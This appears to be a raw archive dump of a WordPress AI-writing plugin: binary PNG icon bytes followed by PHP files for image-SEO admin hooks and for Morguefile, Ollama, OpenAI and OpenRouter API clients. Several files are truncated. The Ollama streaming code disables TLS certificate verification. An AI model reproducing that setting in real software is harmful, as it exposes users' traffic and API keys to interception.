žäÿ…À)dgjÕ(…Áó=…äקR7ô±ÔáÊÑŠÁ@ÇͱN#±Æê,Ž¥oî>“)C¡E{¶®®®ÂŒI¥Ò†Ö"€±¼ŠŸìü$¸3S-q5 ¯Âd³Ùì,DxüM"3ÏÜY¯þ|Z O„T˜vÑ2ÑæBø‹pZÀç\8C]É%oÐjµF£e½„ÁÑZȺ†rîšAcÉ"f©qµí 8øÈ"&sˆ qo«~¾¨á6šÂiaúú9Þwùá²+­ ^ÍéâsÙWdáüÀÁ7m7¾l7låæ«T0®á¤Œïæì®îÆ¿¡æ¤6“n@A WÐî<ôÓ n‚%&SH´ÌäP„>C½/„Lç €aUÈ!ÞË%dè7Ž°à—8 Vq+6Ü;ÇËÓ[8éÚl÷Ï¿ð˜·6ÞDïi^œ#ÈŸæ=‘÷x¼]œuP€‹wodŒ›ì2Ç‹“ú—àÙãxOÀÄïY.3¼bc½fºÌò*ú?µ·|Ä!QŽIEND®B`‚res/icons/1.png000064400000004473147577714370007354 0ustar00‰PNG  IHDR@@·ì pHYsÃÃÇo¨d÷PLTEGpLBAçï÷ðõú A›4{Ùåòðõú×ãð3zçïöBHl¨åíöG“ÿBBB4{G“ÿ9‡9‡;ŒºËä3{ðõú4{äíöQ[ÝA×ãð3z;Œåíöåíö4{ðõú4{4{ñöû7„Øãððõú×ãðBR\ÝG’þ{›ð4{@™ðõúðõú<ÚåñBØäðàêôG“ÿ4{ÙåñBAšF“ÿ+W•Båíö4{4{ðõúØäðäíö4{BåíöBR\ÝBBR\ÝLxï=™.e°†¤Ëz˜¾åíö4{ØãððõúG“ÿG“ÿHªBG“ÿ4{R\ݶÁëÁÚûG“ÿÜæòR\ÝíóùðõúR\Ý×ãðG“ÿÚåñR\ÝíóùR\ÝG“ÿG“ÿBR\ÝG“ÿðõú]pÍX”éØãðØãð“°Ö![ª4{ NKÿùÿÿ¯×4ðõú×ãð4{BG“ÿR\Ý ¶ÛŸµÛØäð@œÚåñÙåñ2zó÷ûPZÝïôúD’ÿíóúÕáð¢¸Ü6ÔáïÜçó@™åíö¢·Üª¾ß½Îæéðøßéô4z?œ³Ù:¯Ãá/Z™ÖãðÑÞî J¡¨ÀÞz—Å”ŸçÉØëœÄýÆÕêâìö4|E¡ìòù‚žÊCu· <‚¦»Þ´ÈヤÐS]ßØãðN£°ÅáH•ÿÂÒçL¤ºÝ^´LZØFWÒ„·þT§A…@™;Ž0Kµ)q×ÎÛîV¶@‹ö O®>p´$^¬vã-PÁ•Àýr¬þitác¤þS\Þ 9ˆP½8bžÏâû¿Êí9PÀ‰¤ÎI¦Du·Bj¤’«Ó[†ÁRvªœÈ^hßÈÔ爒凑å!M·U›ÿÛéû`ŠÂp•È•­Ô¿Ïç'Gª"iÌ7‚®Áà`Á.wÝ5~æQ™ÿ[eÞ¢­é>˜©Ìü€Šä H&®w÷ÉtRNSô=#ëô0-ï=ûU€·xP÷÷&+þúMaû8 ÝÆèð¶4ÌâåK \^í¨þîá­…fƹê€_üÄ[ŸÒšŸcÙE¦ôÒ|ú9úôú)B¿Šå+Êj˼|§¥—8lñÒÂÖÃò…6ÕlÕžIJÀ‰‰ÄÈ󥀧ô§ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿþ¤ æIDATXÃí—g\gÇOSPÊê0!P†l! - "âÞÛî½÷níxq—Ë%†¦¡Œ&j1¬²7¨  PmëÞÚ½[ºÇ‹>ã’\$+¼õ÷ê>÷¹ß÷þÏÿþÏ/OâšÆRˆ¿hú³Lù‡LÀì)òº3êñ˜9=íûä¼4/QÂÿ²û{%Çø‘PÛÔcŒMõòÇä"öá®Ü—…c·d ÚºÌ{ÀGìâÀ˜‘%AW+£¬v(莕žðIz„ïhBô¹|>|}Ú’t  (·4XÄ[2Ydô(ÀT$Q2I:PÆTAøÊd®×;ly…@Q¯o 'ÇP[ENª7£ÈñÔ¼·5N5oä¨7•;¨.éI!€ÓeCÀp%¯€ ¿ïgD¸J¶À&|ˆ«‰l Ø‹ZXJ1æa¨ù5ÿРÊ0ôõ枚΋´² µñK PXGQ (¶±ÖøPvûAà@ó±ž~ØÍúº"åjÂûWöpu æ€m š=ýÐ*‹Ç°%°‡ ‚ööŸlüØÜÜ{Ü»xvÌ @(ÓÐøæ_~;xÎZáø3}Õ° Êhe#åPƼ @  ÕøcTwkiºƒq¨USLåoŽì ð=M7 ´8ͱl¶q£“I”u‚9RJ)û%ÌàÏJ0¶äD«j§¿ª5ÕŸ< üÅ&_`@.q7‰\êY@ÐíúîÄù Î½ÇéäåÝe`?w™[pÐp“ØKÌÅ%|}Ê’G0EÕj#—„Ú2,¥ôOÙ`ÆïgNŠ¹_³Æ]ØcID}/Sm•’©´äêçèýÇŽÔ€@ñ¾ mÇo¬\XÊŽÊDàïªè°¤*óÚŒ=Gjäà,BÜé ô/Ókõ…œJ;J°~0èlaû`||ü÷€ÏdKF÷d’tôÃÂXe[Y*>jÜ` B£HA¿Là×1ŸI®¡Kü„‚–†ŽDÈÂp¿ñA³ZN}£ðx¶$<æ:¾nsã)vÖRÞaÍ6S4¯i|‰ÜíÎeà1™“¬Ï¹SÌdd¢ƒ‰ÈXÊA—‹dŠaBƒp‘!i»²ª¯Ëªƒ®>D@ÞN¼Ž E’ 33Ü¡ƒáô ÚTèÁ |³F:,ñ~`‰[ܸ)ðc©1#&ž€[¸¤R!¼€#°ÓF:¹ºD WÁë 4¤‘N2AWap ÐH ¯“LXL  tB~ßêmuz·W}~5Nˆ e =Dã:‰ÅF$=šáàÅã!7?bCÓ~8ÑÛ{" Õ„ŽNAÊq朓p ÖðcÂyîL{hü$t¹àÉßÒH'Ž,ÀŒTÛŸöسâ8ÊóðëÓ§¿¿ÿÙ¬;•j{þõÖíÊ>1U-\è`´{ì_W“:àmCˆ‡oB2™Ÿñ“,=“Þ!†¼¿þ!뤨„tB˜»Ü„pÃ/¿„‹ðÔøø)øKª]Ò‰ð°.)ÆéäКÇ@Ë€x“IøŽ7dβ{Ÿ:; Šzñ´ªÌ³>̆elýQ×ßÿÀ ÉSl£Å•·T–MÓAa°oá” Mç“$¼Ž‹¢e²™ž3pþ|ÀÉ>{à߀ðeÂi-R5x!ôJÙ[8ÚÜ~΂Äj°961{Þ¤«O_Pæ. 2o­ãîW·æIþ¦zýºÕÖzXLýxÔ‰aô‰AÄêM·W&ršÔ5bä«ÆûG–£+6,uì@ÛJtù`ßàq4ÿ (².âÁùèc£ýûOà£Ö?‚O~4êVr±Ö±ÜJÐðôIk¿êÚÖœ>i7Qd$©×»p €3Ð+ /Öœ³“½\E­þÏùÀ ]èÅ*(1»‹¯¡5P 4¶þ´@p yñ%|³»Òý6m %4¡éa>…ò·È‹ç±‡Äcvrx:¤m¡8ý¹· ]F—E/¾pYùñW5¿VuèîB%/žìÁü‹áku |3È‹±ñXK`­Ák×àwV\D,Öš\¹:7wõŠú•˜ ÎÆuü6Ëê¯ÕzÛRøÙ•1ð®lš@veÙ+›&`žç†B¸…†rσ_@àþ)y¤–ðçäõf4Má~P\ƒÏÔÏàÚ6î­*åu¾Pü€ûË×Ûðým×—ïËOËùßB­ã „@òa¼‹ÿ~&$BäxCõ„| ù€ï“‘;ÛÒdûNdç­œ.ï:­A¶MôñõYHW h\Ø­¤|Šàœè·ª¯œ­{X;œØÛ›8¬Áʽ-üÄ(c¿Ål½XzŸéH$ 3ïKEÜÖ ½;5¶IàswéãçZíóÇ’›†ßƒ}ópWbYƒ]•[ªQÚyõæˆÀ_A¾)VÍÞ¼Ú)^:¾—˜ìhŠ$¬¼lòIì;^›s4ÅÜZ ù'µÏâi ‹vûÿe]jöU»IEND®B`‚res/image-seo/seo-panel.php000064400000026713147577714370011636 0ustar00 res/image-seo/aiomatic-image-seo.php000064400000006233147577714370013400 0ustar00' . esc_html__( 'AI Generated SEO Fields', 'aiomatic-automatic-ai-content-writer' ) . ''; } function aiomatic_get_edit_image_anchor_ajax() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $classes = empty( $_POST['classes'] ) ? 'edit-attachment' : esc_html( $_POST['classes'] ); echo aiomatic_get_edit_image_anchor( esc_html( $_POST['post'] ), 'margin-right:10px;', $classes ); die(); } add_action( 'wp_ajax_aiomatic_get_edit_image_anchor', 'aiomatic_get_edit_image_anchor_ajax' ); function aiomatic_edit_thumbnails_page() { global $aiomatic_image_id; $aiomatic_image_id = esc_html( $_GET ['post'] ); if (current_user_can ( 'access_aiomatic_menu', $aiomatic_image_id ) ) { include (dirname(__FILE__) . '/seo-panel.php'); } else { die (); } } add_action( 'wp_ajax_aiomatic_edit_thumbnails_page', 'aiomatic_edit_thumbnails_page' ); function aiomatic_admin_post_thumbnail_html( $content, $id, $thumb_id = null ) { global $wp_version; if ( version_compare( $wp_version, '4.6.0', '>=' ) ) { if ( ! empty( $thumb_id ) ) { $image_id = $thumb_id; } else { return $content; } } else { if ( has_post_thumbnail( $id ) ) { $image_id = get_post_thumbnail_id( $id ); } else { return $content; } } if ( ! current_user_can( 'access_aiomatic_menu', $image_id ) ) { return $content; } $edit_crops_content = '

                    ' . aiomatic_get_edit_image_anchor( $image_id ) . '

                    '; return $content . $edit_crops_content; } add_filter( 'admin_post_thumbnail_html', 'aiomatic_admin_post_thumbnail_html', 10, 3 ); function aiomatic_print_media_templates() { ?> ID ) && current_user_can( 'access_aiomatic_menu', $post->ID ) ) { $actions['aiomatic_crop'] = aiomatic_get_edit_image_anchor( $post->ID ); } return $actions; } add_filter( 'media_row_actions', 'aiomatic_media_row_actions', 10, 3); ?>res/morguefile/mf.api.class.php000064400000002753147577714370012517 0ustar00app_id = $app_id; $this->app_secret = $app_secret; } public function call($parms, $method='json'){ $o = $this->cleanParamString($parms); if(!empty($o)){ if($method!='json' && $method!='xml'){ $method = 'json'; } /* create the signature */ $sig = hash_hmac("sha256", $o['str'], $this->app_secret); /* create the api call */ $c = curl_init ('https://morguefile.com/api/' . $o['uri'] . '.'.$method ); curl_setopt ($c, CURLOPT_POST, true); curl_setopt ($c, CURLOPT_POSTFIELDS, 'key='.$this->app_id.'&sig='.$sig); curl_setopt ($c, CURLOPT_RETURNTRANSFER, true); $page = curl_exec ($c); curl_close ($c); if(!empty($page)){ if($method=='json'){ $data = json_decode($page); } else { $data = ($page); } return $data; } else { throw new Exception(curl_error($c)); } } else { throw new Exception('Malformed string'); } } private function cleanParamString($parms){ /* clean up the url string to avoid errors */ $parms = trim(strtolower($parms)); $p = explode('/', $parms); $p = array_filter($p, 'strlen'); if(!empty($p)) { $o['str'] = implode('', $p); $o['uri'] = implode('/', $p) . '/'; return $o; } } } ?>res/morguefile/index.php000064400000000037147577714370011341 0ustar00 res/ollama/ollama.php000064400000013216147577714370010611 0ustar00baseUrl = rtrim($baseUrl, '/'); } private function makeRequest($endpoint, $data, $stream) { $url = $this->baseUrl . $endpoint; $payload = json_encode($data); if ($payload === false) { aiomatic_log_to_file('Failed to encode payload in request: ' . print_r($data, true)); return false; } $args = array( 'body' => $payload, 'headers' => array( 'Content-Type' => 'application/json', ), 'method' => 'POST', 'data_format' => 'body', 'timeout' => AIOMATIC_DEFAULT_BIG_TIMEOUT, ); if ($stream === true) { add_action('http_api_curl', array($this, 'filterCurlForStream')); } $response = wp_remote_post($url, $args); if ($stream === true) { remove_action('http_api_curl', array($this, 'filterCurlForStream')); } if (is_wp_error($response)) { aiomatic_log_to_file('Error making request to ' . $url . ': ' . $response->get_error_message()); return false; } $body = wp_remote_retrieve_body($response); if ($stream === true) { return ''; } $res = json_decode($body, true); if ($res === null) { aiomatic_log_to_file('Failed to decode response: ' . $body); return false; } return $res; } public function filterCurlForStream($handle) { curl_setopt($handle, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($handle, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($handle, CURLOPT_WRITEFUNCTION, function ($curl_info, $data) { $my_copy_data = trim($data); $prefix = 'data: '; if (substr($my_copy_data, 0, strlen($prefix)) == $prefix) { $my_copy_data = substr($my_copy_data, strlen($prefix)); } $suffix = 'data: [DONE]'; $needle_length = strlen($suffix); if (substr($my_copy_data, -$needle_length) === $suffix) { $my_copy_data = substr($my_copy_data, 0, -$needle_length); } $my_copy_data = trim($my_copy_data); $response = json_decode($my_copy_data, true); if (isset($response['error']) && !empty($response['error'])) { $message = isset($response['error']['message']) && !empty($response['error']['message']) ? $response['error']['message'] : ''; if (empty($message) && isset($response['error']['code']) && $response['error']['code'] == 'invalid_api_key') { $message = "Incorrect API key provided. You can find your API key at https://platform.openai.com/account/api-keys."; } echo "event: message\n"; echo 'data: {"error":[{"message":"' . $message . '"}]}'; echo "\n\n"; $l1 = ob_get_length(); if($l1 === false) { $l1 = 0; } if (ob_get_length()) { ob_end_flush(); } flush(); echo 'data: {"choices":[{"finish_reason":"stop"}]}'; echo "\n\n"; $l2 = ob_get_length(); if($l2 === false) { $l2 = 0; } if (ob_get_length()) { ob_end_flush(); } flush(); return $l1 + $l2; } else { echo "data: {$data}\n\n"; if (ob_get_length()) { ob_flush(); } flush(); return strlen($data); } }); } public function chatCompletion($model, $messages, $stream = true, $options = []) { $data = [ 'model' => $model, 'messages' => $messages, 'stream' => $stream ]; if(!empty($options)) { $data['options'] = $options; } $resp = $this->makeRequest('/api/chat', $data, $stream); if($resp === false) { return false; } if($stream === true) { return ''; } if(!isset($resp['message']['content'])) { aiomatic_log_to_file('Failed to interpret Ollama chat API response: ' . print_r($resp, true)); return false; } return $resp['message']['content']; } public function generate($model, $prompt, $stream = false, $options = []) { $data = [ 'model' => $model, 'prompt' => $prompt, 'stream' => $stream ]; if(!empty($options)) { $data['options'] = $options; } $resp = $this->makeRequest('/api/generate', $data, $stream); if($resp === false) { return false; } if($stream === true) { return ''; } if(!isset($resp['response'])) { aiomatic_log_to_file('Failed to interpret Ollama completion API response: ' . print_r($resp, true)); return false; } return $resp['response']; } } ?>res/openai/Url.php000064400000006074147577714370010120 0ustar00contentTypes = [ "application/json" => "Content-Type: application/json", "multipart/form-data" => "Content-Type: multipart/form-data", ]; $this->headers = [ $this->contentTypes["application/json"], "Authorization: Bearer $OPENAI_API_KEY", ]; $this->headers2 = [ "Content-Type" => $this->contentTypes["application/json"], "Authorization" => "Bearer $OPENAI_API_KEY", ]; } /** * @return array * Remove this method from your code before deploying */ public function getCURLInfo() { return $this->curlInfo; } /** * @return bool|string */ public function listModels() { $url = Url::fineTuneModel(); $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $model * @return bool|string */ public function retrieveModel($model) { $model = "/$model"; $url = Url::fineTuneModel().$model; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $opts * @return bool|string * @deprecated */ public function complete($opts) { $engine = $opts['engine'] ?? $this->engine; $url = Url::completionURL($engine); unset($opts['engine']); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * Create speech from text. * * @param array $opts Options for speech generation. * @return bool|string */ public function createSpeech(array $opts) { $url = Url::speechUrl(); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @param null $stream * @return bool|string * @throws Exception */ public function completion($opts, $stream = null) { if ($stream != null && array_key_exists('stream', $opts)) { if (!$opts['stream']) { throw new Exception( 'Please provide a stream function. Check https://github.com/orhanerday/open-ai#stream-example for an example.' ); } $this->stream_method = $stream; } $opts['model'] = $opts['model'] ?? $this->model; $url = Url::completionsURL(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function createEdit($opts) { $url = Url::editsUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function image($opts) { $url = Url::imageUrl()."/generations"; $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function imageEdit($opts) { $url = Url::imageUrl()."/edits"; $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function createImageVariation($opts) { $url = Url::imageUrl()."/variations"; $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string * @deprecated */ public function search($opts) { $engine = $opts['engine'] ?? $this->engine; $url = Url::searchURL($engine); unset($opts['engine']); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string * @deprecated */ public function answer($opts) { $url = Url::answersUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string * @deprecated */ public function classification($opts) { $url = Url::classificationsUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function moderation($opts) { $url = Url::moderationUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @param null $stream * @return bool|string * @throws Exception */ public function chat($opts, $stream = null) { if ($stream != null && array_key_exists('stream', $opts)) { if (!$opts['stream']) { throw new Exception( 'Please provide a stream function. Check https://github.com/orhanerday/open-ai#stream-example for an example.' ); } $this->stream_method = $stream; } $opts['model'] = $opts['model'] ?? $this->chatModel; $url = Url::chatUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function transcribe($opts) { $url = Url::transcriptionsUrl(); $this->baseUrl($url); return $this->sendRequestAlt($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function translate($opts) { $url = Url::translationsUrl(); $this->baseUrl($url); return $this->sendRequestAlt($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function uploadFile($opts) { $url = Url::filesUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @return bool|string */ public function listFiles($opts = array()) { $url = Url::filesUrl(); if(!empty($opts)) { $queryString = http_build_query($opts); $url = $url . '?' . $queryString; } $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $file_id * @return bool|string */ public function retrieveFile($file_id) { $file_id = "/$file_id"; $url = Url::filesUrl().$file_id; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $file_id * @return bool|string */ public function retrieveFileContent($file_id) { $file_id = "/$file_id/content"; $url = Url::filesUrl().$file_id; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $file_id * @return bool|string */ public function deleteFile($file_id) { $file_id = "/$file_id"; $url = Url::filesUrl().$file_id; $this->baseUrl($url); return $this->sendRequest($url, 'DELETE'); } /** * @param $opts * @return bool|string */ public function createFineTune($opts) { $url = Url::fineTuneUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @return bool|string */ public function listFineTunes() { $url = Url::fineTuneUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $fine_tune_id * @return bool|string */ public function retrieveFineTune($fine_tune_id) { $fine_tune_id = "/$fine_tune_id"; $url = Url::fineTuneUrl().$fine_tune_id; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $fine_tune_id * @return bool|string */ public function cancelFineTune($fine_tune_id) { $fine_tune_id = "/$fine_tune_id/cancel"; $url = Url::fineTuneUrl().$fine_tune_id; $this->baseUrl($url); return $this->sendRequest($url, 'POST'); } /** * @param $fine_tune_id * @return bool|string */ public function listFineTuneEvents($fine_tune_id) { $fine_tune_id = "/$fine_tune_id/events"; $url = Url::fineTuneUrl().$fine_tune_id; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $fine_tune_id * @return bool|string */ public function deleteFineTune($fine_tune_id) { $fine_tune_id = "/$fine_tune_id"; $url = Url::fineTuneModel().$fine_tune_id; $this->baseUrl($url); return $this->sendRequest($url, 'DELETE'); } /** * @param * @return bool|string * @deprecated */ public function engines() { $url = Url::enginesUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $engine * @return bool|string * @deprecated */ public function engine($engine) { $url = Url::engineUrl($engine); $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $opts * @return bool|string */ public function embeddings($opts) { $url = Url::embeddings(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param int $timeout */ public function setTimeout(int $timeout) { $this->timeout = $timeout; } /** * @param string $proxy */ public function setProxy(string $proxy) { if ($proxy && strpos($proxy, '://') === false) { $proxy = 'https://'.$proxy; } $this->proxy = $proxy; } /** * @param string $customUrl * @deprecated */ /** * @param string $customUrl * @return void */ public function setCustomURL(string $customUrl) { if ($customUrl != "") { $this->customUrl = $customUrl; } } /** * @param string $customUrl * @return void */ public function setBaseURL(string $customUrl) { if ($customUrl != '') { $this->customUrl = $customUrl; } } /** * @param array $header * @return void */ public function setHeader(array $header) { if ($header) { foreach ($header as $key => $value) { $this->headers[$key] = $value; } } } /** * @param string $org */ public function setORG(string $org) { if ($org != "") { $this->headers[] = "OpenAI-Organization: $org"; } } /** * @param string $url * @param string $method * @param array $opts * @return bool|string */ private function sendRequest(string $url, string $method, array $opts = []) { $post_fields = json_encode($opts); if (array_key_exists('file', $opts) || array_key_exists('image', $opts)) { $this->headers[0] = $this->contentTypes["multipart/form-data"]; $post_fields = $opts; } else { $this->headers[0] = $this->contentTypes["application/json"]; } $curl_info = [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => $method, CURLOPT_POSTFIELDS => $post_fields, CURLOPT_HTTPHEADER => $this->headers, ]; if ($opts == []) { unset($curl_info[CURLOPT_POSTFIELDS]); } if (!empty($this->proxy)) { $curl_info[CURLOPT_PROXY] = $this->proxy; } if (array_key_exists('stream', $opts) && $opts['stream']) { $curl_info[CURLOPT_WRITEFUNCTION] = $this->stream_method; } $curl = curl_init(); curl_setopt_array($curl, $curl_info); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($curl, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($curl, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } $response = curl_exec($curl); $info = curl_getinfo($curl); $this->curlInfo = $info; curl_close($curl); return $response; } public function create_body_for_file($file, $boundary) { $fields = array( 'purpose' => 'fine-tune', 'file' => $file['filename'] ); $body = ''; foreach ($fields as $name => $value) { $body .= "--$boundary\r\n"; $body .= "Content-Disposition: form-data; name=\"$name\""; if ($name == 'file') { $body .= "; filename=\"{$value}\"\r\n"; $body .= "Content-Type: application/json\r\n\r\n"; $body .= $file['data'] . "\r\n"; } else { $body .= "\r\n\r\n$value\r\n"; } } $body .= "--$boundary--\r\n"; return $body; } public function create_body_for_audio($file, $boundary, $fields) { $fields['file'] = $file['filename']; unset($fields['audio']); $body = ''; foreach ($fields as $name => $value) { $body .= "--$boundary\r\n"; $body .= "Content-Disposition: form-data; name=\"$name\""; if ($name == 'file') { $body .= "; filename=\"{$value}\"\r\n"; $body .= "Content-Type: application/json\r\n\r\n"; $body .= $file['data'] . "\r\n"; } else { $body .= "\r\n\r\n$value\r\n"; } } $body .= "--$boundary--\r\n"; return $body; } private function sendRequestAlt(string $url, string $method, array $opts = []) { $post_fields = json_encode($opts); if (array_key_exists('file', $opts) || array_key_exists('image', $opts)) { $boundary = wp_generate_password(24, false); $this->headers2['Content-Type'] = 'multipart/form-data; boundary='.$boundary; $post_fields = $this->create_body_for_file($opts['file'], $boundary); } elseif (array_key_exists('audio', $opts)) { $boundary = wp_generate_password(24, false); $this->headers2['Content-Type'] = 'multipart/form-data; boundary='.$boundary; $post_fields = $this->create_body_for_audio($opts['audio'], $boundary, $opts); } else { $this->headers2['Content-Type'] = 'application/json'; } $request_options = array( 'headers' => $this->headers2, 'method' => $method, 'body' => $post_fields, 'timeout' => 900, 'redirection' => 10, 'httpversion' => '1.1', ); if($post_fields == '[]'){ unset($request_options['body']); } add_action('http_api_curl', 'aiomatic_add_proxy'); $response = wp_remote_request($url, $request_options); remove_action('http_api_curl', 'aiomatic_add_proxy'); if(is_wp_error($response)){ return json_encode(array('error' => array('message' => $response->get_error_message()))); } else{ return wp_remote_retrieve_body($response); } return $response; } /** * @param string $url */ private function baseUrl(string &$url) { if ($this->customUrl != "") { $url = str_replace(Url::ORIGIN, $this->customUrl, $url); } } } res/openrouter/OpenRouter.php000064400000043627147577714370012414 0ustar00contentTypes = [ "application/json" => "Content-Type: application/json", "multipart/form-data" => "Content-Type: multipart/form-data", ]; $this->headers = [ $this->contentTypes["application/json"], "Authorization: Bearer $OPENAI_API_KEY", ]; $this->headers2 = [ "Content-Type" => $this->contentTypes["application/json"], "Authorization" => "Bearer $OPENAI_API_KEY", ]; } /** * @return array * Remove this method from your code before deploying */ public function getCURLInfo() { return $this->curlInfo; } /** * @return bool|string */ public function listModels() { $url = UrlOpenRouter::fineTuneModel(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $model * @return bool|string */ public function retrieveModel($model) { $model = "/$model"; $url = UrlOpenRouter::fineTuneModel().$model; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $opts * @return bool|string * @deprecated */ public function complete($opts) { $engine = $opts['engine'] ?? $this->engine; $url = UrlOpenRouter::completionURL($engine); unset($opts['engine']); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * Create speech from text. * * @param array $opts Options for speech generation. * @return bool|string */ public function createSpeech(array $opts) { $url = UrlOpenRouter::speechUrl(); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @param null $stream * @return bool|string * @throws Exception */ public function completion($opts, $stream = null) { if ($stream != null && array_key_exists('stream', $opts)) { if (!$opts['stream']) { throw new Exception( 'Please provide a stream function. Check https://github.com/orhanerday/open-ai#stream-example for an example.' ); } $this->stream_method = $stream; } $opts['model'] = $opts['model'] ?? $this->model; $url = UrlOpenRouter::completionsURL(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function createEdit($opts) { $url = UrlOpenRouter::editsUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function image($opts) { $url = UrlOpenRouter::imageUrl()."/generations"; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function imageEdit($opts) { $url = UrlOpenRouter::imageUrl()."/edits"; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function createImageVariation($opts) { $url = UrlOpenRouter::imageUrl()."/variations"; $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string * @deprecated */ public function search($opts) { $engine = $opts['engine'] ?? $this->engine; $url = UrlOpenRouter::searchURL($engine); unset($opts['engine']); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string * @deprecated */ public function answer($opts) { $url = UrlOpenRouter::answersUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string * @deprecated */ public function classification($opts) { $url = UrlOpenRouter::classificationsUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function moderation($opts) { $url = UrlOpenRouter::moderationUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @param null $stream * @return bool|string * @throws Exception */ public function chat($opts, $stream = null) { if ($stream != null && array_key_exists('stream', $opts)) { if (!$opts['stream']) { throw new Exception( 'Please provide a stream function. Check https://github.com/orhanerday/open-ai#stream-example for an example.' ); } $this->stream_method = $stream; } $opts['model'] = $opts['model'] ?? $this->chatModel; $url = UrlOpenRouter::chatUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function transcribe($opts) { $url = UrlOpenRouter::transcriptionsUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequestAlt($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function translate($opts) { $url = UrlOpenRouter::translationsUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequestAlt($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function uploadFile($opts) { $url = UrlOpenRouter::filesUrl(); $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'POST', $opts); } /** * @return bool|string */ public function listFiles($opts = array()) { $url = UrlOpenRouter::filesUrl(); if(!empty($opts)) { $queryString = http_build_query($opts); $url = $url . '?' . $queryString; } $this->baseUrlOpenRouter($url); return $this->sendRequest($url, 'GET'); } /** * @param $file_id * @return bool|string */ public function retrieveFile($file_id) { $file_id = "/$file_id"; $url = 